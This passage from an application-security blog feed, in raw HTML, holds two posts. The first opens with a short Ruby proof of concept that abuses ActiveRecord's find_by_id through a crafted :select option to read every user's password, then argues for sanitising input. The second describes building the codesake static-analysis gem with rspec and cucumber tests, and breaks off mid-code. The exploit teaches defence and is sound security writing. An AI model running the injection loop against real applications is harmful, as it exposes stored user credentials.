</span><span class='line'><span class="nb">puts</span> <span class="s2">&quot;Using ActiveRecord </span><span class="si">#{</span><span class="no">ActiveRecord</span><span class="o">::</span><span class="no">VERSION</span><span class="o">::</span><span class="no">STRING</span><span class="si">}</span><span class="s2">&quot;</span>
</span><span class='line'><span class="nb">puts</span> <span class="s2">&quot;Exploiting find_by_id&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="mi">100</span><span class="o">.</span><span class="n">times</span> <span class="k">do</span>  <span class="o">|</span><span class="n">i</span><span class="o">|</span>
</span><span class='line'>  <span class="n">u</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">find_by_id</span><span class="p">({</span><span class="ss">:select</span> <span class="o">=&gt;</span><span class="s2">&quot;* from users where id=</span><span class="si">#{</span><span class="n">i</span><span class="si">}</span><span class="s2"> --&quot;</span><span class="p">})</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;Password for user with id </span><span class="si">#{</span><span class="n">i</span><span class="si">}</span><span class="s2"> is: </span><span class="si">#{</span><span class="n">u</span><span class="o">.</span><span class="n">password</span><span class="si">}</span><span class="s2">&quot;</span> <span class="k">unless</span> <span class="n">u</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h2>The old fashioned defensive programming practice</h2>

<p>ActiveRecord dynamic finders don&#8217;t care about the input you pass them. Of
course it could be up to your application to properly sanitize the input
instead of passing params directly to find_by_id method.</p>

<p>I rather prefer this approach since your application knows exactly the meaning
of that line of code.</p>

<p><span class="fluo">If you want your code to be robust against SQL Injection you must sanitize your input before moving forth. </span></p>

<p>If you need to call find_by_id, the parameter <strong>must</strong> be an integer
identifier, so your approach would be explicitly casting to an Integer object.</p>

<figure class='code'><figcaption><span>sanitize your find_by_id</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="n">sanitized_id</span> <span class="o">=</span> <span class="n">params</span><span class="o">[</span><span class="ss">:id</span><span class="o">]</span> <span class="c1"># you have to consider the value tampered here</span>
</span><span class='line'>
</span><span class='line'><span class="k">begin</span>
</span><span class='line'>  <span class="n">sanitized_id</span> <span class="o">=</span> <span class="n">sanitized_id</span><span class="o">.</span><span class="n">to_i</span>
</span><span class='line'>  <span class="c1"># make your business logic specific choice here.</span>
</span><span class='line'>  <span class="c1">#   * Can an id be negative?</span>
</span><span class='line'>  <span class="c1">#   * Can an id be 0?</span>
</span><span class='line'>  <span class="c1">#   * Have you got some particular constraint about ids? (e.g. valid ids are between 500 and 1200)</span>
</span><span class='line'>  <span class="n">sanitized_id</span> <span class="o">=</span> <span class="kp">nil</span> <span class="k">if</span> <span class="n">sanitized_id</span> <span class="o">&lt;=</span> <span class="mi">0</span>
</span><span class='line'>  <span class="n">sanitized_id</span> <span class="o">=</span> <span class="kp">nil</span> <span class="k">unless</span> <span class="p">(</span> <span class="n">sanitized_id</span> <span class="o">&gt;=</span> <span class="mi">500</span> <span class="ow">and</span> <span class="n">sanitized_id</span> <span class="o">&lt;=</span> <span class="mi">1200</span><span class="p">)</span>
</span><span class='line'><span class="k">rescue</span> <span class="no">NoMethodError</span>
</span><span class='line'>  <span class="n">sanitized_id</span> <span class="o">=</span> <span class="kp">nil</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="n">u</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">find_by_id</span><span class="p">(</span><span class="n">sanitized_id</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># Do your stuff</span>
</span><span class='line'>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Of course this is just an example showing a security aware approach when
reading a parameter that you want to manage like an Integer before using it in
your ORM of choice.</p>

<p>Do you think adding some security checks break your agile workout? Do you think
it&#8217;s just an unnecessary step adding latency to your <em>fast and furious</em>
website?</p>

<p>You may want to think it twice before answering. My point of view is that for
sentive parameters read from HTTP request you have to carefully handle it
before passing to backend.</p>

<h2>Off by one</h2>

<p>On <a href="http://news.ycombinator.com/item?id=4999406">Hacker news</a> you can find some
comments about recent <a href="http://phenoelit.org/blog/archives/2012/12/21/let_me_github_that_for_you/index.html">Github security issue</a>
exploiting Rails using this SQL Injection to override some popular Rails
authentication framework.</p>

<p>On <a href="http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/#.UObCq4njk2Z">Phusion blog</a>
a more detailed and security aware dissertion was made in order to explain that
there is of course a problem in the dynamic finder methods for ActiveRecord but
exploiting it it&#8217;s a very hard task. And I agree with it.</p>

<p>The main problem looking at <a href="https://rubyonrails-security.googlegroups.com/attach/23daa048baf28b64/3-2-dynamic_finder_injection.patch?view=1&amp;part=5">the patch</a>
is that in my opinion, it solves <em>this</em> problem but it doesn&#8217;t make a solid
framework for input validation before building the query.</p>

<p>Adding your web application code to some positive filtering for the parameters you read helps you in:</p>

<ul>
<li>be transparent about the security model of your underlying framework</li>
<li>be confident that input will fit what you expect from the user with ad hoc controls</li>
</ul>


<p>The overhead in execution time can be, of course, an issue for impatient
developers but the tradeoff between being compromised and having a couple of if
statements to be executed can be a well tolerated solution.</p>

<p>What do you think about it? Is defensive programming a solution or just a redundant piece of code?
Tell me your thoughts.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[codesake engine and two weeks of BDD development]]></title>
    <link href="http://armoredcode.com/blog/codesake-engine-and-two-weeks-of-bdd-development/"/>
    <updated>2012-12-23T09:00:00+01:00</updated>
    <id>http://armoredcode.com/blog/codesake-engine-and-two-weeks-of-bdd-development</id>
    <content type="html"><![CDATA[<p>Two weeks ago, I <a href="http://armoredcode.com/blog/driven-by-real-world-task-code-reviewing-jsp-using-regular-expression/">posted an article</a>
about a real world source code security review. Using regular expressions I was
able to spot interesting things over JSP files I was reviewing.
Client was happy.
My workflow was smooth.</p>

<p>And codesake engine has a great part of it.</p>

<!-- more -->


<p><strong>Disclaimer:</strong><em>Some of the links contained within this post have my Amazon referral
ID. This provides me with a small commission for each sale.  Thank you for your
support.</em></p>

<p>After <a href="http://armoredcode.com/blog/untold-owasp-orizon-is-died-and-im-sad-of-it/">the failing Owasp Orizon experience</a>
I have a strong belief. A source code static analysis tool <strong>has not to do your
work</strong>, instead it has to help an application security specialist in looking at
the right place.</p>

<p>Building a full featured compiler in order to build an abstract syntax tree,
inspecting the code in deep, making call backtracing and assertion over the
call flow is a great programming task. My opinion on this topic is that people
designing compilers are <em>artists</em>.</p>

<p>My thought is that you can&#8217;t fully automate developers&#8217; work without
<a href="http://armoredcode.com/blog/the-hidden-pitfalls-in-automatic-source-code-review/">falling in a pitfall</a>
and it would be more useful having something that helps a security specialist
to look in the right place. It will be a human to say if in that place a
security issue was found.</p>

<h2>2 weeks of BDD workflow</h2>

<p>Two weeks ago I started with the
<a href="https://github.com/codesake/codesake">codesake</a> gem that hopefully it will be
also part of the application security SaaS I will launch in 2013.</p>

<p>The idea is simple. As an appsec guy I know which are the coding patterns that
they can introduce vulnerabilities.</p>

<p>The tool will do the <em>dirty grep</em> work for you and it will be up to you to mark
a suspicious unsafe pattern as a real appsec vulnerabilities.</p>

<p>I used the book <a href="http://www.amazon.com/exec/obidos/ASIN/1934356913/armoredcode-20/ref=no-sim/">&#8220;Build Awesome Command-Line Applications in Ruby&#8221;</a>,
by David Bryant Copeland as reference for creating a robust command line tool.
I purchased this book in July and finished almost in a single deep reading
evening. It will deserve a full review one of these days.</p>

<p>In the &#8220;Test, Test, Test&#8221; chapter I discovered aruba rubygem that adds some
interesting features to cucumber dedicated in testing command line interfaces.</p>

<p>In 2 weeks of work during early morning commuting I wrote code thats:</p>

<ul>
<li>scan plain text file for <em>reserved</em> words. That means looking for keywords
like <em>password</em> or <em>fixme</em> or <em>todo</em>, in order to check if text file has some
interesting information or it documents some feature that has known bugs. As
attacker, if you find a comment like <em>todo: must fix this error checking
routine</em> you may want to start evaluating how to override that buggy code.</li>
<li>scan jsp files for reserved keywords, variables that are written in output,
reads from HTTP requests, cookies.</li>
</ul>


<p>That it&#8217;s almost the same stuff Owasp Orizon was checking but with a more
clumbered internal architecture.</p>

<p>codesake has engines dedicated to a particular file kind, with internal <em>adhoc</em>
checks. They share a common interface that is the analyse method returning an
array. Eventually this array contains String objects that the binary script
will put on standard output.
Every engine will be responsible of formatting the output.</p>

<p>A kernel was in place to act like multiplexer for choosing the correct engine:</p>

<figure class='code'><figcaption><span>Codesake::Kernel</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;singleton&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="k">module</span> <span class="nn">Codesake</span>
</span><span class='line'>  <span class="k">class</span> <span class="nc">Kernel</span>
</span><span class='line'>    <span class="kp">include</span> <span class="no">Singleton</span>
</span><span class='line'>
</span><span class='line'>    <span class="kp">attr_reader</span>   <span class="ss">:engine</span>
</span><span class='line'>
</span><span class='line'>    <span class="no">NONE</span>    <span class="o">=</span> <span class="mi">0</span>
</span><span class='line'>    <span class="no">TEXT</span>    <span class="o">=</span> <span class="mi">1</span>
</span><span class='line'>    <span class="no">JSP</span>     <span class="o">=</span> <span class="mi">2</span>
</span><span class='line'>    <span class="no">UNKNOWN</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">def</span> <span class="nf">choose_engine</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">options</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'>      <span class="n">engine</span> <span class="o">=</span> <span class="kp">nil</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">case</span> <span class="n">detect</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</span><span class='line'>      <span class="k">when</span> <span class="no">TEXT</span>
</span><span class='line'>        <span class="n">engine</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Text</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</span><span class='line'>      <span class="k">when</span> <span class="no">NONE</span>
</span><span class='line'>        <span class="n">engine</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Generic</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</span><span class='line'>      <span class="k">when</span> <span class="no">JSP</span>
</span><span class='line'>        <span class="n">engine</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Jsp</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">options</span><span class="p">)</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>      <span class="n">engine</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">def</span> <span class="nf">detect</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</span><span class='line'>      <span class="k">return</span> <span class="no">NONE</span> <span class="k">if</span> <span class="n">filename</span><span class="o">.</span><span class="n">nil?</span> <span class="ow">or</span> <span class="n">filename</span><span class="o">.</span><span class="n">empty?</span>
</span><span class='line'>      <span class="k">return</span> <span class="no">TEXT</span> <span class="k">if</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Text</span><span class="o">.</span><span class="n">is_txt?</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</span><span class='line'>      <span class="k">return</span> <span class="no">JSP</span> <span class="k">if</span> <span class="p">(</span><span class="no">File</span><span class="o">.</span><span class="n">extname</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> <span class="o">==</span> <span class="s2">&quot;.jsp&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'>      <span class="k">return</span> <span class="no">UNKNOWN</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The kernel is called by the binary script that asks it to choose the correct engine for a given target.</p>

<figure class='code'><figcaption><span>bin/codesake</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'><span class="n">cli</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Cli</span><span class="o">.</span><span class="n">new</span>
</span><span class='line'><span class="n">kernel</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Kernel</span><span class="o">.</span><span class="n">instance</span>
</span><span class='line'>
</span><span class='line'><span class="n">options</span><span class="o">=</span><span class="n">cli</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="no">ARGV</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'><span class="n">cli</span><span class="o">.</span><span class="n">targets</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">target</span><span class="o">|</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;processing </span><span class="si">#{</span><span class="n">target</span><span class="o">[</span><span class="ss">:target</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span> <span class="k">if</span> <span class="n">target</span><span class="o">[</span><span class="ss">:valid</span><span class="o">]</span>
</span><span class='line'>  <span class="vg">$stderr</span><span class="o">.</span><span class="n">puts</span> <span class="s2">&quot;can&#39;t find </span><span class="si">#{</span><span class="n">target</span><span class="o">[</span><span class="ss">:target</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:red</span><span class="p">)</span> <span class="k">if</span> <span class="o">!</span> <span class="n">target</span><span class="o">[</span><span class="ss">:valid</span><span class="o">]</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">engine</span> <span class="o">=</span> <span class="n">kernel</span><span class="o">.</span><span class="n">choose_engine</span><span class="p">(</span><span class="n">target</span><span class="o">[</span><span class="ss">:target</span><span class="o">]</span><span class="p">,</span> <span class="n">options</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">results</span> <span class="o">=</span> <span class="n">engine</span><span class="o">.</span><span class="n">analyse</span>
</span><span class='line'>  <span class="n">results</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">res</span><span class="o">|</span>
</span><span class='line'>    <span class="vg">$stdout</span><span class="o">.</span><span class="n">puts</span> <span class="s2">&quot;</span><span class="si">#{</span><span class="n">res</span><span class="si">}</span><span class="s2">&quot;</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h3>Working on a new feature</h3>

<p>Let&#8217;s say we want to introduce the scan for cookie security check in jsp
engine. The need is that we want, as application security specialist, to check
if cookies are used in a Jsp page in order to check if we can tamper it or even
looking for secrets and sensitive informations.</p>

<p>We start in writing the rspec code for the functionality we want to add in
order to make unit testing.</p>

<figure class='code'><figcaption><span>spec/jsp_engine_spec.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'><span class="n">describe</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Jsp</span> <span class="k">do</span>
</span><span class='line'>  <span class="n">before</span><span class="p">(</span><span class="ss">:all</span><span class="p">)</span> <span class="k">do</span>
</span><span class='line'>    <span class="no">File</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&quot;test.jsp&quot;</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">f</span><span class="o">|</span>
</span><span class='line'>      <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">jsp_content</span><span class="p">)</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>    <span class="vi">@jsp</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Jsp</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&quot;test.jsp&quot;</span><span class="p">,</span> <span class="p">{})</span>
</span><span class='line'>    <span class="vi">@jsp</span><span class="o">.</span><span class="n">analyse</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">after</span><span class="p">(</span><span class="ss">:all</span><span class="p">)</span> <span class="k">do</span>
</span><span class='line'>    <span class="no">File</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="s2">&quot;test.jsp&quot;</span><span class="p">)</span> <span class="k">if</span> <span class="no">File</span><span class="o">.</span><span class="n">exists?</span><span class="p">(</span><span class="s2">&quot;test.jsp&quot;</span><span class="p">)</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">it_behaves_like</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Utils</span><span class="o">::</span><span class="no">Files</span>
</span><span class='line'>  <span class="n">it_behaves_like</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Core</span>
</span><span class='line'>
</span><span class='line'>  <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">it</span> <span class="s2">&quot;analyses a jsp file for cookies&quot;</span> <span class="k">do</span>
</span><span class='line'>   <span class="n">expected_result</span> <span class="o">=</span> <span class="o">[</span><span class="p">{</span><span class="ss">:line</span><span class="o">=&gt;</span><span class="mi">51</span><span class="p">,</span> <span class="ss">:name</span><span class="o">=&gt;</span><span class="s2">&quot;name&quot;</span><span class="p">,</span> <span class="ss">:value</span><span class="o">=&gt;</span><span class="s2">&quot;a_value&quot;</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span><span class="s2">&quot;c&quot;</span><span class="p">},</span> <span class="p">{</span><span class="ss">:line</span><span class="o">=&gt;</span><span class="mi">52</span><span class="p">,</span> <span class="ss">:name</span><span class="o">=&gt;</span><span class="s2">&quot;second&quot;</span><span class="p">,</span> <span class="ss">:value</span><span class="o">=&gt;</span><span class="s2">&quot;12&quot;</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span><span class="s2">&quot;cc&quot;</span><span class="p">}</span><span class="o">]</span>
</span><span class='line'>   <span class="vi">@jsp</span><span class="o">.</span><span class="n">cookies</span><span class="o">.</span><span class="n">should</span> <span class="o">==</span> <span class="n">expected_result</span>
</span><span class='line'> <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Tests for Codesake::Engine::Jsp include some common ground routines for file
handling and text grabbing that are included in external modules and that are
checked with the it_behaves_like rspec clause.
Checks for modules are so integrated in this rspec run for my Jsp engine.</p>

<p>We expect a <em>cookies</em> array contains hashes from every cookie read in a test
jsp file that is in the spec file (look in the sources, I won&#8217;t include it here
for simplicity).</p>

<p>Running the unit tests we had this feature to fail as espected. Good. Let&#8217;s
move on and write our cucumber scenario for the integration test before we
proceed.</p>

<figure class='code'><figcaption><span>features/codesake_process_jsp_file.feature</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="no">Feature</span><span class="p">:</span> <span class="n">codesake</span> <span class="n">process</span> <span class="n">a</span> <span class="n">jsp</span> <span class="n">page</span>
</span><span class='line'>  <span class="no">When</span> <span class="n">a</span> <span class="no">Jsp</span> <span class="n">file</span> <span class="n">is</span> <span class="n">given</span> <span class="n">as</span> <span class="n">input</span><span class="p">,</span> <span class="n">codesake</span> <span class="n">analyses</span> <span class="n">it</span> <span class="n">with</span> <span class="n">the</span>
</span><span class='line'>  <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Jsp</span> <span class="n">engine</span> <span class="k">for</span> <span class="n">security</span> <span class="n">issues</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>  <span class="no">When</span> <span class="n">a</span> <span class="no">Jsp</span> <span class="n">file</span> <span class="n">is</span> <span class="n">analyzed</span> <span class="n">the</span> <span class="n">following</span> <span class="n">information</span> <span class="n">will</span> <span class="n">be</span> <span class="n">gathered</span><span class="p">:</span>
</span><span class='line'>
</span><span class='line'>  <span class="o">*</span> <span class="n">imported</span> <span class="n">packages</span>
</span><span class='line'>  <span class="o">*</span> <span class="n">variable</span> <span class="n">read</span> <span class="n">from</span> <span class="n">requests</span>
</span><span class='line'>  <span class="o">*</span> <span class="n">cookies</span> <span class="n">created</span>
</span><span class='line'>  <span class="o">*</span> <span class="n">reserved</span> <span class="n">keywords</span>
</span><span class='line'>
</span><span class='line'>  <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>  <span class="no">Scenario</span><span class="p">:</span> <span class="n">codesake</span> <span class="n">processing</span> <span class="n">the</span> <span class="n">file</span> <span class="n">finds</span> <span class="n">cookies</span> <span class="n">that</span> <span class="n">are</span> <span class="n">created</span> <span class="n">by</span> <span class="n">the</span> <span class="n">page</span>
</span><span class='line'>    <span class="no">Given</span> <span class="n">the</span> <span class="n">jsp</span> <span class="n">file</span> <span class="s2">&quot;/tmp/existing.jsp&quot;</span> <span class="n">with</span> <span class="n">cookies</span> <span class="n">does</span> <span class="n">exist</span>
</span><span class='line'>    <span class="no">When</span> <span class="n">I</span> <span class="n">successfully</span> <span class="n">run</span> <span class="sb">`bundle exec codesake /tmp/existing.jsp`</span>
</span><span class='line'>    <span class="no">Then</span> <span class="n">the</span> <span class="n">stdout</span> <span class="n">should</span> <span class="n">contain</span> <span class="s2">&quot;cookie </span><span class="se">\&quot;</span><span class="s2">name</span><span class="se">\&quot;</span><span class="s2"> found with value: </span><span class="se">\&quot;</span><span class="s2">a_value</span><span class="se">\&quot;</span><span class="s2"> (/tmp/existing.jsp@51)&quot;</span>
</span><span class='line'>    <span class="no">And</span> <span class="n">the</span> <span class="n">stdout</span> <span class="n">should</span> <span class="n">contain</span> <span class="s2">&quot;cookie </span><span class="se">\&quot;</span><span class="s2">second</span><span class="se">\&quot;</span><span class="s2"> found with value: </span><span class="se">\&quot;</span><span class="s2">12</span><span class="se">\&quot;</span><span class="s2"> (/tmp/existing.jsp@52)&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>The When clause and the Then matchers are all managed by aruba gem. Pretty neat.
Running also integration tests all act as expected. Our binary doesn&#8217;t know
anything about cookie check output. So all red here.</p>

<p>We can start implementing our feature.</p>

<p>First we add a cookies attribute to the Codesake::Engine::Jsp class, so our
unit test rspec file can stop complaining about the cookie attribute that is
missing.
Now rspec complains that cookies has nil value instead of the expected result.</p>

<figure class='code'><figcaption><span>Codesake::Engine::Jsp</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">module</span> <span class="nn">Codesake</span>
</span><span class='line'>  <span class="k">module</span> <span class="nn">Engine</span>
</span><span class='line'>    <span class="k">class</span> <span class="nc">Jsp</span>
</span><span class='line'>      <span class="kp">include</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Utils</span><span class="o">::</span><span class="no">Files</span>
</span><span class='line'>      <span class="kp">include</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Utils</span><span class="o">::</span><span class="no">Secrets</span>
</span><span class='line'>      <span class="kp">include</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Engine</span><span class="o">::</span><span class="no">Core</span>
</span><span class='line'>
</span><span class='line'>      <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>      <span class="kp">attr_reader</span> <span class="ss">:cookies</span>
</span><span class='line'>      <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>To solve this turning the spec green, we have to implement the find_cookies
routine matching with regular expressions the Java statements creating a
Cookie.</p>

<blockquote><p>This show also how this approach can fail. If the regular expression is poorly<br/>written codesake won&#8217;t be able to detect pattern and then you may miss some<br/>findings.</p></blockquote>




<figure class='code'><figcaption><span>Codesake::Engine::Jsp.find_cookies</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">find_cookies</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>
</span><span class='line'>  <span class="vi">@file_content</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
